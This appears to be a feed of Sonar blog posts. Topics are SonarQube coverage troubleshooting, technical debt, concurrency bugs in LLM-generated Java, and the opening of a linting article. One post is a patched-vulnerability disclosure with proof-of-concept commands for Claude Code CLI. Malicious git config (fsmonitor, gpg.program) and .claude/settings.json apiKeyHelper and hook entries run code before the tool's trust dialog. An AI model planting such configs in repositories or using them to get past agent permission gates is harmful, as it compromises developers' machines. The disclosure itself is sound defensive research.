Here’s a common developer scenario: every test passes, but SonarQube reports 0.0% code coverage. Or coverage shows up, but the number is 20 points lower than what pytest or JaCoCo reported on the same code, and the scanner logs don't explain why.

The problem is almost never SonarQube itself. Coverage reporting is a four-stage pipeline, and most failures happen at the handoff points between your test framework, your coverage tool, the scanner, and the dashboard. Once you see the pipeline clearly, diagnosing a coverage failure takes minutes.

The coverage pipeline

SonarQube does not generate code coverage data. It imports reports produced by third-party tools. The pipeline works like this:

Your test framework (JUnit, pytest, Jest) runs your tests.
A coverage tool (JaCoCo, coverage.py, Istanbul/c8) instruments your code and records which lines and branches executed during those tests.
The coverage tool writes a report file to disk in a specific format (JaCoCo XML, Cobertura XML, LCOV).
The sonar-scanner reads that report file via a configured analysis property and uploads the data to SonarQube.

The report file is the handoff artifact. It sits between your build tooling and SonarQube's scanner, and it's where most failures happen, such as wrong format, wrong path, or being absent entirely.

In practice, stages 1 and 2 are often a single command. JaCoCo hooks into Maven's test phase. Jest has Istanbul built in. go test -coverprofile combines both. The conceptual separation matters for troubleshooting because the test can pass while the coverage tool fails to produce a report, but you won't need to run two separate commands.

One constraint to know upfront is that coverage requires CI-based analysis, where you run sonar-scanner yourself. SonarQube Cloud's automatic analysis mode doesn't support it.

Each programming language has its own coverage tool, report format, and scanner property:

Language	Test framework	Coverage tool	Report format	Scanner property
Java (Maven)	JUnit 5	JaCoCo (Maven plugin)	JaCoCo XML	sonar.coverage.jacoco.xmlReportPaths
Java (Gradle)	JUnit 5	JaCoCo (Gradle plugin)	JaCoCo XML	sonar.coverage.jacoco.xmlReportPaths
JavaScript/TypeScript	Jest / Vitest	Istanbul / c8	LCOV	sonar.javascript.lcov.reportPaths
Python	pytest	coverage.py	Cobertura XML	sonar.python.coverage.reportPaths
C#	xUnit / NUnit	Dotnet-coverage / coverlet	VS coverage XML or OpenCover XML	sonar.cs.vscoveragexml.reportsPaths or sonar.cs.opencover.reportsPaths
Go	go test	Native (-coverprofile)	Go coverage format	sonar.go.coverage.reportPaths

When coverage shows 0%

The pipeline has four transitions and a failure at any one of them produces the same symptom: 0% coverage on the dashboard. Work through these checks in order as most issues are caught by the first four.

Is coverage supported in your analysis mode?

Automatic analysis doesn't import coverage reports. Check your project's Administration > Analysis Method in SonarQube Cloud. If it says "Automatic," switch to CI-based analysis. No amount of property configuration will fix this.

Does the report file exist?

Before sonar-scanner runs, your build must produce a coverage report. After your test step completes, verify the file is where you expect it:

Language	Test framework	Coverage tool
Java (Maven)	target/site/jacoco/jacoco.xml	mvn verify with JaCoCo plugin configured
Java (Gradle)	build/reports/jacoco/test/jacocoTestReport.xml	./gradlew test jacocoTestReport
JavaScript/TypeScript	coverage/lcov.info	npx jest --coverage or npx vitest --coverage
Python	coverage.xml	coverage run -m pytest && coverage xml
C# (.NET)	coverage.xml	dotnet-coverage collect "dotnet test" -f xml -o coverage.xml
Go	coverage.out	go test -coverprofile=coverage.out ./...

If the file doesn't exist after your build step, the problem is in your build configuration, not SonarQube.

Is the report in the right format?

Each programming language requires a specific format. Using the wrong one causes the scanner to silently ignore the report. You won’t get an error or a warning in normal output.

JaCoCo must produce XML, not binary .exec files. The old sonar.jacoco.reportPaths property that accepted binary format is deprecated. Python's coverage.py must output Cobertura XML (coverage xml), not the .coverage binary or HTML report. JavaScript coverage must be LCOV, not JSON or Clover format.

Open the report file. XML starts with <?xml. LCOV starts with TN: or SF:. If you see binary data or HTML tags, you have the wrong format.

Does the scanner property point to the right file?

The scanner needs a property telling it where to find the report. Paths are relative to the directory where sonar-scanner runs (usually the project root). A report at build/coverage/lcov.info with a property set to coverage/lcov.info won't be found.

Check your sonar-project.properties file or -D arguments:

# Java
sonar.coverage.jacoco.xmlReportPaths=target/site/jacoco/jacoco.xml

# JavaScript / TypeScript
sonar.javascript.lcov.reportPaths=coverage/lcov.info

# Python
sonar.python.coverage.reportPaths=coverage.xml

Does the scanner run after the coverage report is generated?

A common CI mistake occurs when the sonar-scanner step starts before tests finish, or runs in a parallel job that doesn't wait for the test step. The scanner step must explicitly depend on the test step in your pipeline.

Do file paths in the report match the project structure?

The paths inside the coverage report must match how sonar-scanner sees your source files. Three common mismatches:

Python in CI: Set relative_files = True in .coveragerc or pyproject.toml. Without it, coverage.py writes absolute container paths (/home/runner/work/my-project/...) that SonarQube can't resolve to your source tree which produces silent 0% coverage with no error.
Monorepos: If the scanner runs from the repo root but the coverage report references files relative to a subdirectory, paths won't match.
Multi-module Maven: Aggregated JaCoCo reports may use module-relative paths. Use JaCoCo's report-aggregate goal with properly configured source sets.

Is the property name correct and current?

Deprecated or misspelled property names silently produce 0% coverage. These are the ones that catch people:

Deprecated (silently ignored)	Current
sonar.jacoco.reportPaths	sonar.coverage.jacoco.xmlReportPaths
sonar.typescript.lcov.reportPaths	sonar.javascript.lcov.reportPaths
sonar.python.coverage.reportPath	sonar.python.coverage.reportPaths

No warning, no error message; the scanner just doesn't find coverage data. Any misspelled property name fails the same way. Copy your property name and check it against the test coverage parameters reference.

Check the scanner logs

If everything above looks correct, run the scanner with the -X flag for debug output. Search for:

Sensor JaCoCo XML Report Importer (Java) to confirm it found the report
The word coverage to find how many files had coverage imported. If the log says 0, the report wasn't found or wasn't parseable
WARN for unresolved file paths or missing reports

0% coverage?
  |-- Using automatic analysis? -> Switch to CI-based
  |-- Report file exists? -> Check build config
  |-- Report in right format? -> XML/LCOV, not binary
  |-- Scanner property correct? -> Check name + path
  |-- Scanner runs after tests? -> Fix CI step order
  |-- File paths match? -> Check relative_files, monorepo paths
  |-- Property name current? -> Check for deprecated names
  |-- Still 0%? -> Run scanner with -X, search for "coverage"

Why your numbers don't match

You fixed the 0% problem and coverage appears on the dashboard; but coverage.py says 57% and SonarQube says 38%. Or JaCoCo says 44% and SonarQube says 42%. The tools aren't broken, they’re just counting different things.

Take a Python calculator with four methods, where tests cover add() and the happy path of divide() but skip classify() and sqrt(). coverage.py reports 56.5% line coverage. SonarQube reports 37.5%, a 19% gap on the same code, with the same tests.

This is because in Python, def is an executable statement that runs at class load time, binding the function object to a name. When any test imports the module, every def line executes, even for methods the test never calls. coverage.py counts those def lines as coverable and covered, and it does the same for import and class lines. SonarQube doesn't count any of them as executable, because they aren't logic statements.

The five def lines, one import, and one class declaration inflate coverage.py's numerator (all seven are "covered") without adding any real coverage signal. A developer who sees 57% in pytest output and 38% on the dashboard assumes SonarQube is wrong. SonarQube is measuring what percentage of your logic ran during tests, whereas def lines executing at import time tells you nothing about whether the method's body was tested.

The same principle applies at a smaller scale in other languages. In Java, JaCoCo operates at the bytecode level, and the compiler maps return bytecode to method-closing braces. SonarQube doesn't count closing braces as executable statements. For a simple add() method:

public int add(int a, int b) {
    lastResult = a + b;       // Both tools: coverable, covered
    return lastResult;        // Both tools: coverable, covered
}                             // JaCoCo: coverable    SonarQube: not counted

The same pattern repeats for divide(), classify(), and getLastResult(), each contributing one or two closing braces to JaCoCo's count that SonarQube ignores. Across the full class, JaCoCo counts 18 coverable lines (including 6 braces) to SonarQube's 12. The gap: JaCoCo says 44.4%, SonarQube says 41.7%. It’s only ~3% because the counting difference is limited to braces.

Language	Coverage tool	Tool says	SonarQube says	Gap	Main cause
Python	coverage.py	56.5%	37.5%	~19 pts	import, def, class lines
JavaScript	Istanbul	54.5%	50.0%	~4.5 pts	Class declaration, method signatures
Java	JaCoCo	44.4%	41.7%	~3 pts	Closing braces counted as coverable

Two root causes explain every discrepancy:

Different denominator. Each tool defines "coverable line" differently. SonarQube counts executable statements only. coverage.py includes imports, class declarations, and function definitions. JaCoCo includes closing braces, and Istanbul includes class declarations and method signatures.

Different file scope. Coverage tools report only on files loaded during testing, but SonarQube includes all project files. In an open-source Java project we analyzed, the sample component (143 lines, 0% coverage) drags the overall number down to 53.2% even though IT sits at 76.7%. Untested utility code, generated files, or modules without tests appear at 0% in SonarQube but don't appear at all in your coverage tool's report. SonarQube is showing you the full picture, which is sometimes less flattering. If those files genuinely shouldn't count (generated code, vendored dependencies), exclude them via sonar.coverage.exclusions. This removes them from coverage calculations while still analyzing them for bugs and vulnerabilities. For generated code you don’t want analyzed at all, sonar.exclusions removes files from the entire analysis scope. But untested application code that your coverage tool quietly omitted is worth knowing about.

A third factor compounds both: SonarQube combines line and branch coverage into a single metric.

Coverage = (CT + CF + LC) / (2*B + EL)

CT and CF are conditions evaluated to true and false, LC is covered lines, B is total conditions, and EL is executable lines. Each branch counts double because it has two outcomes. With real project data, the math works out to 5,989 / 11,256 = 53.2%, matching the dashboard exactly. JaCoCo reports line and branch coverage as separate numbers, so when you have many untested branches, SonarQube's combined metric runs lower than JaCoCo's line-only figure.

In small, well-tested projects the gap between tools is a few percentage points. In large projects with untested modules or generated code, the gap can be more substantial.

Beyond percentage: when covered code isn't tested

Coverage tells you which lines ran during tests but doesn't tell you whether the tests actually verified anything. A test that calls a method without asserting the result produces full line coverage for that method, but catches zero bugs. SonarQube detects these gaps with rules that analyze test quality, not just test execution.

Tests without assertions (java:S2699). The most common test quality issue. A test that exercises code but asserts nothing provides line coverage without verifying behavior:

@Test
void testAddNoAssertion() {       // Noncompliant: S2699
    Calculator calc = new Calculator();
    calc.add(2, 3);
    // Line coverage: 100% of add(). Bugs caught: zero.
}

SonarQube flags this as a BLOCKER. The rule recognizes assertions from many popular frameworks including JUnit, AssertJ, Mockito, and Hamcrest, so it won't flag tests that use a supported assertion library.

Assertions that never execute (python:S5915). Subtler and harder to catch manually. An assertion inside a pytest.raises block never runs because the exception exits the block first:

def test_divide_by_zero():
    calc = Calculator()
    with pytest.raises(ValueError):
        calc.divide(1, 0)
        assert calc.last_result is None  # Dead code — never executes

The test passes. coverage.py marks the raise line as covered, but the assertion on the last line is dead code. Moving it outside the with block fixes it. SonarQube flags this as high-impact.

Empty test classes (java:S2187). A class named CalculatorEdgeCaseTest with no test methods shows up in test reports, occupies space in the test directory, and leads someone reading the project to think edge cases are covered. SonarQube flags test classes with zero test methods as a BLOCKER across JUnit 3/4/5, TestNG, and other supported frameworks.

These rules catch problems that coverage percentage misses entirely. AI coding agents frequently generate tests like this with high line coverage and zero meaningful assertions.

What's next

Code coverage reporting in SonarQube is a pipeline, not a button. When the number looks wrong, the question isn't "is SonarQube broken?" but "where in the pipeline did the chain break?"

For language-specific setup instructions, see the SonarQube coverage docs: Java, JavaScript/TypeScript, Python, C#/.NET, Go, and others.

Why technical debt is still your team's biggest productivity drain

Anirban Chatterjee — Fri, 01 May 2026 16:00:00 GMT

TL;DR overview

Managing technical debt in software development requires continuous visibility, automated code analysis, and quality gates to prevent shortcuts from compounding into slower delivery, higher defect rates, and escalating maintenance costs.
Industry estimates put cumulative U.S. technical debt at over $1.5 trillion annually, with 20–40% of sprint capacity consumed by rework in affected teams.
AI accelerates both debt creation and cleanup: 88% of developers report negative impacts like unreliable or duplicative AI-generated code, while 93% cite benefits in documentation, testing, and refactoring.
Reducing development friction starts with treating debt as a measurable portfolio, integrating remediation into sprint cycles, and verifying all code, developer- or AI-written, against defined quality standards.

Technical debt has become one of the most persistent drags on software development teams. As organizations push to ship features faster (and increasingly rely on AI to do it) shortcuts in design, testing, and infrastructure pile up in ways that slow future progress and increase risk.

Managing this debt strategically is no longer optional. It's core to sustainable development, product quality, and business outcomes.

What is technical debt?

Technical debt describes the future cost of work that results from taking shortcuts today. These shortcuts, whether deliberate or accidental, show up in code, architecture, processes, and organizational habits.

In practical terms, technical debt is the cumulative cost of compromises in software design, code, data, and testing that make future change slower and riskier. Every line of code with unresolved issues, every skipped test, every undocumented dependency compounds over time—reducing agility, reliability, and scalability.

And while it's tempting to treat debt as a purely technical problem, it's deeply tied to business outcomes: higher maintenance costs, delayed releases, and lost opportunity to innovate.

What causes technical debt to accumulate?

Technical debt usually builds under pressure. Fast delivery cycles, resource constraints, and incomplete knowledge all contribute. Common triggers include:

Business pressure for speed-to-market: Causes teams to defer noncritical refactoring.
Legacy constraints: Outdated systems or frameworks prevent modernization.
Skill or context gaps: Developers unknowingly introduce fragile patterns.
AI-generated code: Creates what some call "AI debt"—inconsistent styles, duplicative logic, or hidden inefficiencies introduced without adequate review.

In most organizations, the driver isn't negligence, rather, it's a tradeoff. But without a clear payback plan, that tradeoff silently compounds, eroding maintainability and confidence over time.

AI is making technical debt worse—and better—at the same time

According to Sonar's State of Code Developer Survey, AI's relationship with technical debt is complicated. It's both a cleanup tool and a new source of messy, hidden problems.

The negative side

Nearly all developers surveyed (88%) report at least one negative impact of AI on their technical debt. The most common issues:

53% say AI creates code that looks correct but isn't reliable, a particularly dangerous problem because it creates a false sense of security and may cause teams to skip thorough review
40% say AI increases technical debt by generating unnecessary or duplicative code
29% report AI-generated code that is unreliable or buggy

This matters because "managing technical debt" is already the number one source of toil for core development tasks, with 41% of software developers placing it in their top five frustrations. AI, if unmanaged, pours fuel on an existing fire by generating a high volume of code that's deceptively unreliable.

Sonar's own LLM personality research confirms this: LLMs have inherent tendencies to create verbosity, complexity, and unnecessary technical debt when writing code.

The positive side

Despite these issues, 93% of developers also report at least one positive impact from AI on technical debt. Developers are clearly using AI to tackle the most tedious parts of debt management:

57% cite improved documentation as a key benefit
53% report improved test coverage and debugging
47% say AI has helped refactor or optimize existing code

Senior software developers especially value AI's documentation capabilities, with 65% of developers with over 20 years of experience citing improved documentation as a top benefit.

The bottom line

AI isn't a "fix technical debt" button. It can help developers clean up old messes (like documentation and testing) but could also create new, more subtle messes in the process (like unreliable or duplicative code). The teams that come out ahead will be those that pair AI speed with systematic code verification.

The cost and impact of technical debt

Industry estimates put cumulative U.S. technical debt at over $1.5 trillion annually. For mid-sized companies, that translates into millions in lost productivity and maintenance rework. When left unchecked, technical debt impacts every part of the business:

Delivery speed: Slower development and testing cycles
Quality: More defects and production bugs
Financials: Escalating maintenance and opportunity costs
Culture: Frustrated teams and higher attrition

The longer debt sits unaddressed, the harder and more expensive it becomes to resolve. Sonar's developer survey found that 41% of developers rank managing technical debt as a top source of toil, and 53% say AI-generated code looks correct but isn't reliable. This only compounds the problem by adding debt that's harder to detect. Without systematic code verification, faster output just accelerates accumulation.

Managing and reducing technical debt

Technical debt can't be eliminated overnight, but it can be managed with the right approach. The teams that do this well treat debt as a measurable portfolio, blending technical and business insight when prioritizing what to fix first.

Core practices of successful development teams

Continuous visibility: Integrate automated code analysis into your CI/CD pipeline to monitor and manage code debt in real time. Tools like SonarQube surface issues across reliability, maintainability, and security, giving teams a single view of codebase health.
Tackle debt in backlogs: Track and prioritize debt items alongside features, making them part of sprint planning rather than an afterthought.
Quality gates: Prevent new debt from entering the codebase by enforcing standards at the PR level. SonarQube's quality gates compare analysis results against your defined quality profiles and block merges that don't meet the bar, creating an automated safety net for every commit, whether written by a developer or generated by AI.
Verification for AI-generated code: With AI writing a growing share of production code, systematic code verification is no longer a nice-to-have.

Sonar's State of Code Developer Survey found that SonarQube users are more likely to report stronger positive impacts on code quality, technical debt, rework costs, defects , and vulnerabilities than non-users. Having a code verification process in place is key to turning AI's speed into real-world quality improvements.

Remediation and continuous monitoring

Addressing technical debt effectively requires an incremental, transparent process:

Discover and map debt through automated tools and team input
Classify and score items by type, severity, and risk
Quantify code remediation effort relative to rebuild cost
Prioritize high-interest areas first
Integrate payback into sprint cycles for consistent progress
Continuously monitor via dashboards, updating policies as practices evolve

The SonarQube Remediation Agent (now available in beta for SonarQube Cloud Teams and Enterprise accounts) helps teams automatically fix identified issues. Teams can make this process both continuous and predictable. Every fixed issue refines context for the next cycle, making the system continuously smarter.

Taking control of technical debt

Technical debt isn't going away, and AI is making the stakes higher. With 42% of committed code now AI-generated or assisted and that share projected to reach 65% by 2027, the volume of code entering your codebase is accelerating far faster than most teams can manually review. The organizations that treat debt as a manageable portfolio—measured, prioritized, and systematically paid down—will ship faster and more confidently. Those that don't will watch shortcuts compound into outages, attrition, and missed opportunities.

The path forward isn't to slow down. It's to verify as you go. Integrate automated code analysis into your CI/CD pipeline, enforce quality gates on every commit, and make remediation a sprint-level habit, not a quarterly fire drill. Whether your code is written by a developer or generated by AI, the standard should be the same: clean, reliable, and production-ready.

Want to learn more about how AI is impacting development? Read the full report.

Arbitrary code execution and Claude Code CLI: How Claude executed code before you click 'trust'

Yaniv Nizry — Thu, 30 Apr 2026 16:00:00 GMT

Anthropic’s Claude Code CLI has become an increasingly popular tool for developers, driving over 10 million weekly downloads on NPM (@anthropic-ai/claude-code). The introduction of Model Context Protocol (MCP) gives the AI agent sensitive, extensive capabilities, significantly raising the security stakes of this popular tool. Anthropic has been proactive in implementing defenses to tackle these risks, such as running the agent with strict read-only permissions by default and implementing a "trust" gate for new projects. However, while much of the security discussion focuses on new LLM risks like prompt injection, the old security flaws, such as trusting config files, can still apply.

In this blog post, we detail two critical issues we identified that, before being patched, would have allowed an attacker to bypass Claude Code’s primary security defense: the trust dialog. This means that, in affected versions, simply cloning or downloading an untrusted repository and running the tool inside it would be enough to compromise a developer’s environment. As of December 16, 2025, Anthropic has patched the vulnerabilities described below.

Impact

When a victim ran Claude Code inside a malicious, untrusted project folder, an attacker was able to execute arbitrary code on the victim's system, bypassing the trust dialog. This could have led to a full compromise of the developer's machine and environment.

Anthropic patched Claude Code to fix the following issues in v2.0.71, so we recommend updating to the latest version:

Arbitrary code execution via git project config
Arbitrary code execution via Claude project settings

Here's a mock demo video of the attack prior to the patch being made:

Watch the video

Technical details

While developers sharing code is a common habit, it also poses a significant security risk. What if the person who shared the code with you has malicious intentions? To tackle this, Anthropic’s security model follows a similar approach to other coding platforms, such as VSCode, by prompting the user with a trust dialog before accessing the tool. This way, developers explicitly acknowledge the risk of running Claude Code in an untrusted workspace before the tool has broader access.

Arbitrary code execution via git project config

When we started researching Claude Code, we focused on the pre-trust initialization phase. Take a look at these logs that follow file access and command executions of Claude before the trust dialog, and see if you can capture what raised our concerns:

If you follow our blogs closely, we covered a very similar issue in the past. The simple and innocent-looking git status command is exactly what enabled attackers to bypass the trust dialog in Microsoft Visual Studio Code < 1.63.1 (CVE-2021-43891), and JetBrains IDEs < 2021.3.1 (CVE-2022-24346).

This behavior can be exploited because Git supports a core.fsmonitor configuration option in its local .git/config file. This option is designed to be used as a command that will identify all files that may have changed since the requested date/time (source). But if a malicious project sets this value to an arbitrary command, Git will execute it when git status is run, which happens before Claude Code's security prompt.

The attacker would simply add the following configuration to the malicious shared project:

mkdir sample-project
cd sample-project
git init
echo 'fsmonitor = "id >/tmp/fsmonitor"' >> .git/config

And running the claude command within this folder will execute the fsmonitor before the trust dialog is approved:

claude
# Command in fsmonitor is executed before the trust dialog.

Arbitrary code execution via git project config, round 2

In version 2.0.34, Claude was updated in a way that mitigated the specific vulnerability by no longer running git status before the user approved the trust dialog. However, a related issue persisted. In the then-latest version (2.0.50), we found that Claude was still executing several other git commands without user approval:

git remote get-url origin
git config get user.email
git rev-parse --is-inside-work-tree
git log -n 1000 --pretty=format: --name-only --diff-filter=M
git worktree list

And since the git configuration and ecosystem (commands, attributes, hooks, etc) is huge, we knew there could be a new attacker vector here that allows attackers to execute arbitrary code when running one of the commands above in an untrusted folder. We initially looked at core.pager as it provides a command that will run when there are pagers (like less or more) in the terminal, this works on git log; however, when we ran it with Claude, it didn’t. This is because Claude is executed from Node.js, so exec function captures the entire output (stdout) of the child process as a string in memory and then passes it to the callback, so there is no TTY (meaning no interactive terminal), and therefore no pager like less or more will be launched.

Another idea was because the git log command uses the flag --diff-filter=M it should run git diff (diff-filter) and with this, there are configs such as diff.external or filters with .gitattributes that should provide a straightforward arbitrary code execution. However, this didn’t work as well because git log needs to explicitly allow the extensions via the --ext-diff flag, and show the file content in the log, but Claude runs the command with --name-only.

So, it was clear that this would not be a single, straightforward configuration that will be executed as a command. After a bit of searching, we stumbled upon log.showSignature, which basically adds the --show-signature argument to git log. The show-signature argument is meant to verify signed commit objects by passing the signature to gpg --verify. Meaning that the gpg command will also run, and now an attacker can take advantage of the gpg.program configuration, which specifies a pathname of the program to run instead of "gpg". First, for gpg --verify to run, the attacker would need a git project with a “signed” commit, so a new empty project won't work, but it is not hard to overcome with an existing sample project:

git clone git@github.com:sindresorhus/awesome.git
cd awesome
echo 'open -a Calculator.app' > calc.sh
chmod +x ./calc.sh 
echo '[log]
	showSignature = true
[gpg]
   	program = "./calc.sh"' >> .git/config

And running the claude command within this folder will execute calc.sh before the trust dialog:

claude
# the calc.sh bash script will run before the trust dialog.

Arbitrary code execution via Claude project settings

The second vulnerability stems from another intended logic that is performed before the trust dialog and not after. This one is less subtle as it exploits Claude Code’s own local project settings from .claude/settings.json upon startup. Some of these settings are designed to execute code, and because local settings take precedence over the global ones, a malicious project can include a .claude/settings.json file to trigger arbitrary code execution before the trust dialog is presented.

Two settings were found to allow this:

apiKeyHelper: This setting is defined as a “Custom script, to be executed in /bin/sh” and is called using child_process.spawnSync upon startup.

mkdir .claude
echo "{\"apiKeyHelper\": \"open -a Calculator.app\"}" > .claude/settings.json
claude

Hooks: designed to execute commands upon defined events. The advisory revealed that a hook can be configured to run before the trust dialog.

mkdir .claude
echo '{"SubagentStop": [{"hooks": [{"type": "command","command": "open -a Calculator.app"}]}]}' > .claude/settings.json
claude

And running the claude command within this folder will execute both of these commands before the trust dialog:

claude
# Commands from hooks and apiKeyHelper are executed before the trust dialog.

Patch

To reduce the risk from this class of vulnerability to your organization, we recommend applying the principle of defense-in-depth. For example, moving functionalities that execute commands or load potentially dangerous configuration settings until after the user has been prompted with and confirmed their trust in the project folder, as Anthropic’s subsequent patches now do. This ensures that the user's explicit approval is a hard-gate for any potentially dangerous operations.

Summary

In this blog post, we covered two critical flaws in Claude Code that allowed attackers to execute arbitrary code by tricking a user to run the tool in a malicious project folder. The vulnerabilities exploited pre-trust-dialog code execution paths via a local Git configuration feature and the tool's own project settings.

While much of the security discussion around AI agents like Anthropic's Claude Code focuses on new LLM risks such as prompt injection, our research demonstrates that traditional security flaws in the development environment remain a critical concern. In other words, as AI agents gain powerful new capabilities, the fundamentals of secure development and configuration management matter more than ever, not less. Our goal with this research is to help harden the growing ecosystem around Claude Code and similar agentic tools.

The issues are fixed in v2.0.71 of Claude Code, so we recommend updating. We would like to thank Anthropic for addressing these vulnerabilities and helping keep developers safe.

GPT-5.5’s biggest blind spot: the Java bugs your tests won’t catch

Killian Carlsen-Phelan — Tue, 28 Apr 2026 15:00:00 GMT

TL;DR overview

Concurrency bugs are among the hardest defects to catch in AI-generated Java code because they pass functional tests but fail under production thread timing.
Sonar’s LLM Leaderboard analysis shows concurrency bug density varies 7x across models, with GPT-5.5 producing 170 bugs per million lines of code.
Common failure patterns include broken double-checked locking, unsound synchronization on value-based classes like Boolean, and holding locks during Thread.sleep() calls.
Static analysis identifies these thread-safety risks by analyzing code structurally, catching defects that standard test frameworks cannot reliably trigger.

Sonar's LLM Leaderboard evaluations have analyzed millions of lines of AI-generated Java code across multiple models. Concurrency bugs show up in every model's output, but at rates that vary more than almost any other bug category.

What doesn't vary is the failure mode. These bugs compile and pass functional tests but break in production because their correctness depends on thread timing that no test framework controls. The patterns behind them are well-documented and detectable through static code analysis, but they live in the gap between code that passes tests and code that is thread-safe.

How concurrency rates vary across models

Sonar's evaluation framework runs each model through thousands of Java coding tasks (4,444 for the GPT-5.5 evaluation), executing multiple independent runs and analyzing the output with SonarQube's Java coding rules. The table below shows concurrency bug density for a sample of evaluated models.

Model	Concurrency bugs per million LOC
GPT-5.2 High	470
GPT-5.1 High	241
GPT-5.5	170
Claude Opus 4.5 Thinking	133
Claude Sonnet 4.5	129
Gemini 3.0 Pro	69

The absolute rates span a 7x range across these models alone, and the leaderboard includes additional models that widen the picture further. Concurrency accounts for nearly 50% of all bugs in some model configurations and under 3% in others, so while some models produce concurrency as their dominant bug category by a wide margin, others are led by exception handling or type safety instead. A double-checked locking violation or a lock held during sleep behaves the same way in production regardless of which model generated it.

Three patterns to watch for

The concurrency bugs that surface in these evaluations share a trait regardless of rate: their correctness depends on execution ordering and runtime object identity, not on what's written in the method body. A resource leak is visible in the code itself because you can point to the missing close() call. Whether or not double-checked locking is safe depends on the Java Memory Model's happens-before guarantees, and whether a synchronized block actually provides mutual exclusion depends on which object you're locking on and whether the JVM might be sharing that object with unrelated code. These are properties of how the program runs, not how it reads, and they're the reason concurrency bugs survive functional testing: a test exercises one execution ordering, and the bug lives in a different one.

The three patterns below, drawn from SonarQube's Java concurrency rules, each represent a different failure mode, specifically, a broken initialization sequence, a wrong lock object, and a lock held during sleep.

Double-checked locking (S2168)

Double-checked locking is meant to avoid synchronizing every call to a singleton accessor by checking null before and after the synchronized block:

public class ResourceFactory {
    private static Resource resource;

    public static Resource getInstance() {
        if (resource == null) {
            synchronized (ResourceFactory.class) {
                if (resource == null)
                    resource = new Resource();
            }
        }
        return resource;
    }
}

The "Double-Checked Locking is Broken" Declaration documented this failure in 2000. Without volatile on the resource field, the JVM is free to reorder the field assignment and the constructor completion, which means thread B can see a non-null reference to a partially constructed Resource while thread A is still inside new Resource(). The outcome depends entirely on timing, so no test suite catches it reliably. The pattern dates back to a time when synchronized methods carried significant overhead, and the double-checked idiom was widely taught as a standard optimization. Modern JVMs have closed much of that performance gap, making the synchronized version both safer and fast enough that the performance argument for double-checked locking no longer holds.

The fix is to synchronize the method:

public static synchronized Resource getInstance() {
    if (resource == null)
        resource = new Resource();
    return resource;
}

If method-level synchronization is too coarse, an inner static holder class achieves lazy initialization through the JVM's class-initialization guarantee, with no explicit synchronization needed:

private static class ResourceHolder {
    public static Resource resource = new Resource();
}

public static Resource getResource() {
    return ResourceHolder.resource;
}

The JVM guarantees that ResourceHolder is not initialized until getResource() is first called, and class initialization is inherently thread-safe per JLS 12.4, so this approach is both lazy and correct without any synchronization code.

Synchronizing on value-based classes (S1860)

The next pattern is a fundamentally different kind of failure. The synchronization mechanism itself is unsound because the lock object isn't what the developer thinks it is.

private static final Boolean bLock = Boolean.FALSE;

public void doSomething() {
    synchronized (bLock) {  // Noncompliant
        // critical section
    }
}

A private static final field used as a lock looks reasonable. The problem is that Boolean is a value-based class, and the JVM caches its instances. Every Boolean.FALSE reference in the entire application, including in third-party libraries, points to the same object in memory. Synchronizing on it means unrelated code paths can contend for the same lock, producing deadlocks with stack traces that show no logical connection between the contending threads.

The same applies to Integer.valueOf() within the cached range (-128 to 127), String literals, List.of() results, and java.time types. Two fields declared as Integer a = 0 and Integer b = 0 point to the same cached object, so synchronizing on a in one method and b in another creates a single shared lock where the developer intended two independent ones.

The fix is a dedicated Object instance:

private static final Object lock = new Object();

public void doSomething() {
    synchronized (lock) {
        // critical section
    }
}

Sleeping with a lock held (S2276)

public void doSomething() {
    synchronized (monitor) {
        while (!ready()) {
            Thread.sleep(200);  // Noncompliant
        }
        process();
    }
}

Thread.sleep() pauses the current thread but does not release the monitor lock, so every other thread waiting to enter this synchronized block is frozen for the duration of the sleep. If another thread needs this lock before it can set the condition that makes ready() return true, you have a deadlock. This pattern appears naturally in polling loops and retry logic, where Thread.sleep() is the intuitive choice for introducing a delay.

Object.wait() releases the lock while waiting, allowing other threads to make progress:

public void doSomething() {
    synchronized (monitor) {
        while (!ready()) {
            monitor.wait(200);  // Releases the lock
        }
        process();
    }
}

The distinction between sleep() and wait() is fundamental to Java concurrency, but it's also the kind of semantic difference that doesn't affect whether the code compiles or passes single-threaded functional tests. The signatures are similar, the behavior in a test with one thread is identical, and the bug only surfaces under real contention.

Why static analysis catches what tests miss

Try writing a unit test that reliably catches double-checked locking. The bug only manifests when thread A's constructor call gets reordered relative to the field assignment and thread B reads the field in between. Standard test frameworks don't control thread scheduling at that granularity, so the test may pass a thousand times and then fail once it’s in production under load.

Synchronizing on a cached Boolean.FALSE has the same problem, namely, that the deadlock requires two unrelated threads to hit their synchronized blocks concurrently, which a single-threaded test never exercises. Thread.sleep() inside a lock is functionally identical to Object.wait() when only one thread is running, so any test that doesn't simulate lock contention sees correct behavior from both.

All three patterns show the code is correct when executed by a single thread, and the bug exists only in the interaction between threads.

SonarQube's data flow analysis reasons through code paths structurally rather than relying on runtime execution, catching patterns like double-checked locking or lock-held sleep regardless of whether any test triggered the dangerous interleaving. The Java analyzer includes over 20 rules for concurrency and synchronization, with recent additions covering virtual thread semantics for Java 21+.

Concurrency rates vary more across models than almost any other bug category, but regardless of where your model sits on that spectrum, these are the bugs your test suite is least likely to catch. The complete data is on the LLM Leaderboard, and the GPT-5.5 evaluation has the methodology behind the numbers.

When linting is not enough

Nicolas Peru — Mon, 27 Apr 2026 15:00:00 GMT

Choosing the right code analysis for AI-assisted development

TL;DR overview

Modern software teams require multilayered verification that goes beyond basic linting for AI-assisted development.
Multilayered verification engines detect deep semantic bugs, like SQL injection, through control flow graphs.
Automated security tools mitigate supply chain risks by identifying malicious packages and hardcoded secrets.
Architecture-as-code enforcement prevents structural decay and technical debt caused by verbose, agent-generated code.

AI coding tools have changed a basic assumption of software development. When an assistant can generate hundreds of lines of valid, well-formatted code in seconds, “the developer wrote it and reviewed it” no longer describes what actually happened. When an agent can modify 20 files across a service boundary in an hour, “the team reviewed the pull request” does not mean what it used to.

The risk profile has shifted along three axes simultaneously. The bugs are deeper. The attack surface is wider. The structural decay is faster. A linter addresses none of these. This article examines the three categories of risk that the Agent Centric Development Lifecycle (AC/DC) introduces and why each requires analysis that operates beyond pattern matching against syntax.

What linters do, and where they stop

A linter parses source code into an abstract syntax tree (AST) and applies rules against its structure. Rules operate as pattern matchers: they see what expressions exist and how they nest, but nothing about what the code does when it runs. This gives linters a well-defined and genuinely useful scope. They catch syntax errors, undefined variables, unused imports, style violations, and simple type mismatches. They run in milliseconds. For a team with no static analysis at all, adopting a linter produces immediate quality improvements.

However, linters have no model of program execution, no representation of how values move through a system, and no ability to reason about what happens when function A in module B passes a value to function C in module D. That kind of analysis requires an analytical model that builds graphs of program behavior and reasons over them mathematically.

